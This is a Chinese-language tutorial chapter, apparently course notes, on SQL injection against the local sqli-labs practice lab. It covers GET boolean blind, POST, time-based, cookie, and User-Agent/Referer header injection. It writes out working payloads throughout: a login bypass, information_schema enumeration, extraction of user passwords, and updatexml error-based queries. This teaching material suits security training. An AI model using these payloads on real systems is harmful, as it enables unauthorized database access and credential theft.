SQL注入深度解析

    本章所讲内容:

    1. 基于 GET 注入
    2. 基于 POST 注入
    3. 基于 cookie 注入
    4. 基于 HTTP 头注入

    基于 GET 注入在这里老师很有必要强调一下 sql 注入的分类:
    事实上 SQL 注入有很多种,按数据类型可以分为数字型、字符型,按提交方式可分为 GET 型,POST 型, HTTP 请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于 bool 的和基于时间的注入。
    如下图:前十关全是基于 get 注入
    SQL注入深度解析 - 图1
    那么下来我们一起来学习一下 get 注入,看一下 LESS-8;GET 型的盲注:
    盲注的分类:

    1. 布尔盲注 它只会根据你的注入信息返回 True 跟 False,根据结果判断是否和自己输入的值一致从而猜解出完整的数据。
    2. 时间盲注 界面返回值只有一种 True,无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看 web 页面返回的时间差来判断注入的语句是否正确。

    逻辑关系说明(以 1 为真,0 为假进行对比说明):逻辑与:and #有假即为假
    例:1 and 1 =1 #结果为真
    逻辑或:or #有真即为真
    例:1 or 0 =1 #结果为真
    总结:盲注就是构造一个判断条件来逐步的猜解完整的数据信息。
    前面讲了探测是否存在注入点的时候用单引号双引号等,在这里全部失灵的情况下,我们就要用盲注了:
    SQL注入深度解析 - 图2
    接下来我们用基于布尔的盲注来测试

    1. 查看是否存在注点:

    127.0.0.1/sqli-labs/Less-8/?id=1’ and 1=1—+
    SQL注入深度解析 - 图3
    127.0.0.1/sqli-labs/Less-8/?id=1’ and 1=0—+
    SQL注入深度解析 - 图4
    到这里通过布尔盲注确定闭合方式为单引号

    1. 判断数据库长度:二分法:我们先取值一个范围 1-100,当我们知道正确的答案就在 1-100 其中一个时我们选择 2 分法进行快速找到目标数值,我们第一次取值 50 判断目标大于 50 还是小于 50,大于 50 则再从 50-100 中取中间值进行判断,以此类推。

    这块我们只是给大家演示,我们前提已经知道数据库名称是 security,所以直接等于 8 正确我们通过构造一个判断条件( length(database()) = 8)判断目标是否满足条件,满足条件则执行成功,
    不满足则执行失败。
    database()是当前数据库名称
    length(database())取出数据库名称的长度
    < = > 分别为大于、等于、小于,用来判断是否满足条件。
    http://127.0.0.1/sqli-labs/Less-8/?id=1’ and (length(database()) = 8) —+
    SQL注入深度解析 - 图5
    3. 判断数据库名称:
    substr(database(),1,1) 表示取出数据库名称的第一个字符,第一个 1 表示从第几个字符开始,第二
    个 1 表示取几个字符,我们猜解出一个值之后就要把第一个值+1 用来猜解第二个值;
    ascii(substr(database(),1,1)) >8 将取出的字符转码为 ASCII 码,后面的>8 也是用来判断 ASCII 数值的,所以最终取出的结果应该对照 ASCII 表来查找具体是哪个字符
    ASCII 表:https://baike.baidu.com/item/ASCII/309296?fr=aladdin
    http://127.0.0.1/sqli-labs/Less-8/?id=1’ and (ascii(substr(database(),1,1)) = 115) —+
    115 这个值,我们一次性猜不到 需要多次的猜解尝试;
    SQL注入深度解析 - 图6
    SQL注入深度解析 - 图7
    我们在从数据库里面查看一下,这样大家理解起来更容易:
    SQL注入深度解析 - 图8
    4. 判断表名:我们在 mysql 里面先直观的看一下:
    SQL注入深度解析 - 图9
    http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101—+
    SQL注入深度解析 - 图10
    limit0,1 ——>显示第一行数据; limit1,2——>显示第二行数据;
    接下来咱们直接看爆第四个表:(老师只是给大家演示方法,这个繁琐的操作,我们后面用 sqlma 直接自动化探测就行了,这块只是学习原理);
    http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117—+
    SQL注入深度解析 - 图11
    最后得出 security 数据库的表有:emails,referrers,uagents,users;

    1. 判断字段名:我们还是先直观的看一下字段:
      SQL注入深度解析 - 图12
      http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>0—+
      SQL注入深度解析 - 图13
      http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))=117—+
      SQL注入深度解析 - 图14
      最后得出字端名为:id,username,password;
      6. 判断内容:
      http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select username from users limit 0,1),1,1))=68—+
      SQL注入深度解析 - 图15
      http://127.0.0.1/sqli-labs/Less-8/?id=1’ and ascii(substr((select password from users limit 0,1),1,1))=68—+
      SQL注入深度解析 - 图16
      2、基于 POST 注入
      POST 注入需要 BurpSuite 抓包配合使用,bp 我们在之前已经讲的很彻底了,这块就不再讲 BP 的使用方法了;
      SQL注入深度解析 - 图17
      例 1:LESS-11
      http://127.0.0.1/sqli-labs/Less-11/
      SQL注入深度解析 - 图18
      BP 抓包
      SQL注入深度解析 - 图19
      我们把抓的包发送到 Repeater 后,进行改包: password 的参数加一个进行提交:
      SQL注入深度解析 - 图20
      You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’admin’’ LIMIT 0,1’ at line 1 分析可以得出,当前位置是用单引号进行闭合的。
      我们知道了是单引号闭合,接下来我们构造语句进行绕过:
      uname=admin&passwd=admin’+or+1=1—+&submit=SubmitSQL注入深度解析 - 图21
      SQL注入深度解析 - 图22
      例 2:LESS-15
      用基于布尔的盲注来测试:用户名密码登录成功显示如图:
      SQL注入深度解析 - 图23
      用户名密码错误显示如图:
      SQL注入深度解析 - 图24
      下面我们开始截断数据包进行 SQL 注入操作;
      浏览器访问 http://127.0.0.1/sqli-labs/Less-15/ 在页面输入用户名及密码,并提交:
      SQL注入深度解析 - 图25
      bp 抓包:
      SQL注入深度解析 - 图26
      Ctrl+R 发送到 Repeater 改包:
      SQL注入深度解析 - 图27
      设计 SQL 语句,带如参数,进行执行:
      Security 长度为 8
      uname=admin’+and+(length(database())=8)—+&passwd=admin&submit=SubmitSQL注入深度解析 - 图28
      SQL注入深度解析 - 图29
      uname=admin’+and+(length(database())=7)—+&passwd=admin&submit=Submit
      SQL注入深度解析 - 图30
      SQL注入深度解析 - 图31
      成功返回 flag.jpg ,失败则返回 slap.jpg,页面回显信息也不一样
      其它关于爆库爆表等操作和前面 GET 注入方式相同,这里不再做演示。
      例 3:LESS-16
      用基于时间的盲注来测试:
      跟 LESS-15 一样,输入用户名密码正确提示如图:
      SQL注入深度解析 - 图32
      输入用户名密码错误,提示如图:
      SQL注入深度解析 - 图33
      下面我们开始截断数据包进行 SQL 注入操作;
      浏览器访问 http://127.0.0.1/sqli-labs/Less-16/ 在页面输入用户名及密码,并提交
      SQL注入深度解析 - 图34
      bp 抓包:
      SQL注入深度解析 - 图35
      ctrl+r,发送到 repeater 改包;
      代码分析下闭合符号:发现闭合需要双引号括号;
      SQL注入深度解析 - 图36
      设计 SQL 语句,带如参数,进行执行:
      这个是基于布尔的盲注:
      uname=admin”)+and+(length(database())=8)—+&passwd=admin&submit=SubmitSQL注入深度解析 - 图37
      再看一下基于时间的盲注:
      uname=admin”)+and+if(length(database())=8,sleep(3),null)—+&passwd=admin&submit=SubmitSQL注入深度解析 - 图38
      根据右下角的页面响应时间来进行判断条件是否满足。
      if 判断语句解释:
      if(length(database())>1,sleep(3),null)) #条件成功则睡眠 3 秒,否则直接返回
      length(database())>1 #判断条件
      sleep(3) #当条件成功时,则睡眠3秒
      null #当条件不成功时,则不睡眠
      3、基于 cookie 注入 Cookie 介绍:
      用户访问网站在交互的过程中,用户的一系列操作肯定会产生一些数据需要保存。这时就需要使用 Cookie 或者 Session 技术来完成。

    Cookie 的应用场景:
    我们登录网站时如果选择记住密码,浏览器就会保存我们登录网站的 cookie,我们下次打开网站时就不需要再次输入用户名密码等信息。
    因为 Cookie 为我们带来了非常多的便捷性,但是也给我们带来了非常多的安全隐患,比如攻击者可以窃取用户的 Cookie 来获得用户权限,或者攻击者修改 Cookie 对目标服务器进行攻击。
    Less-20: http://127.0.0.1/sqli-labs/Less-20/
    SQL注入深度解析 - 图39
    抓包:Forward 放行一下
    SQL注入深度解析 - 图40
    继续抓包:抓 cookie 包;
    注:不同的浏览器抓的 cookie 不一样,这个不影响我们注入;
    SQL注入深度解析 - 图41
    ctrl+R,发送到 repeater 进行改包:
    SQL注入深度解析 - 图42
    设计 SQL 语句,带如参数,进行执行:观察发现是单引号闭合;
    SQL注入深度解析 - 图43
    使用 updatexml 报错注入获取数据库名称
    Cookie: uname=admin’ and updatexml(1,concat(0x7e,database(),0x7e),1) or ‘1’=’1 SQL注入深度解析 - 图44
    extractvalue(XML_document, XPath_string); #查询 updatexml(XML_document, XPath_string, new_value); #修改
    函数说明:上述 2 个函数都包含了 3 个字段其中 1 和 3 字段不影响 SQL 注入的结果,所以我们重点看第二个参数,XPath_string 字段表示该字段必须满足 XPath_string 格式否则报错。
    updatexml (XML_document, XPath_string, new_value);
    第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
    第二个参数:XPath_string (Xpath 格式的字符串)
    第三个参数:new_value,String 格式,替换查找到的符合条件的数据
    语法说明:’ and updatexml(1,concat(0x7e,database(),0x7e),1) or ‘1’=’1
    ‘ and 用来拼接我们的 SQL 语句。 updatexml 的第一个参数和第三个参数是我们随意写的,第二个参数使用连接查询数据,第二个参数
    我们查询到的字符串不满足 Xpath 格式所以报错。 or ‘1’=’1(注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行。 0x7e 是波浪号~可以修改成其他符号的 16 进制,或者也可以删掉。
    extractvalue 用法
    ‘ or extractvalue(1,concat(0x7e,database())) or ‘1’=’1 使用方法基本一致。大家可以自己测一下功能。

    1. 基于 HTTP 头注入

    User-Agent 注入
    LESS-18: http://127.0.0.1/sqli-labs/Less-18/
    SQL注入深度解析 - 图45
    抓包:
    SQL注入深度解析 - 图46
    ctrl+r,发送到 repeater,进行改包:

    设计 SQL 语句,带如参数,进行执行:观察发现是单引号闭合;
    SQL注入深度解析 - 图47
    使用 updatexml 报错注入获取数据库版本:
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘1’=’1
    SQL注入深度解析 - 图48
    Referer 注入:
    LESS-19: http://127.0.0.1/sqli-labs/Less-19/
    SQL注入深度解析 - 图49
    抓包:
    SQL注入深度解析 - 图50
    ctrl+r,发送到 repeater,进行改包:
    SQL注入深度解析 - 图51
    设计 SQL 语句,带如参数,进行执行:观察发现是单引号闭合;
    SQL注入深度解析 - 图52
    使用 updatexml 报错注入获取数据库名称:
    Referer:http://127.0.0.1/sqli-labs/Less-19/‘ and updatexml(1,concat(0x7e,(database()),0x7e),1) and ‘1’=’1
    SQL注入深度解析 - 图53
    总结:

    1. 基于 GET 注入
    2. 基于 POST 注入
    3. 基于 cookie 注入
    4. 基于 HTTP 头注入